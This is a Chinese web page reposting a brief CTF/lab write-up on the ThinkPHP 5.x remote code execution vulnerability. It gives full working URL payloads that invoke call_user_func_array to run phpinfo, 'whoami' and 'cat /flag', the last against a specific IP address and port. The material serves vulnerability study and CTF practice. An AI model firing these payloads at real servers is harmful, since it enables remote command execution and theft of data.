客服电话
APP下载
迪恩网络APP
随时随地掌握行业动态
官方微信
扫描二维码
关注迪恩网络微信公众号
|
ThinkPHP 命令执行漏洞5.x < 5.1.31, <= 5.0.23 参考：https://www.cnblogs.com/backlion/p/10106676.html
这是一个远程代码执行漏洞，先学习vulhub复现这个漏洞的过程： 输入：http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1，可执行phpinfo： 拉到页面底部，看到ThinkPHP的版本是5.0.20：
可以执行phpinfo，那可不可以执行其他命令呢？查了一下网上的payload，如下： 输入：http://your-ip:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 返回：www-data www-data
http://220.249.52.133:49560/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag 得到答案
|
2022-08-30
2022-08-17
2022-11-06
2022-08-18
2022-08-16
delphi获取网卡信息(支持多网卡)unitLGetAdapterInfo;interfaceusesWindows,SysUtils,
librespeed/speedtest: Self-hosted Speedtest for HTML5 and more. Easy setup, exam
avehtari/BDA_m_demos: Bayesian Data Analysis demos for Matlab/Octave
女人怀孕后，为了有一个健康聪明的宝宝，经历各种体检、筛查。其实这些体检和筛查中的
medfreeman/markdown-it-toc-and-anchor: markdown-it plugin to add a toc and ancho
sydney0zq/covid-19-detection: The implementation of A Weakly-supervised Framewor
Inappropriate implementation in Web Share API in Google Chrome on Windows prior
万里平台海口会场，为您讲述大美海口。 在大城市，工资高，人脉广，前途一片大好。但
离中国最远的国家是阿根廷。从太平洋直线计算，即往东线走，北京到阿根廷的布宜诺斯艾
sebbrudzinski/Open-LaTeX-Studio: Open Source LaTeX editor that supports remote c
请发表评论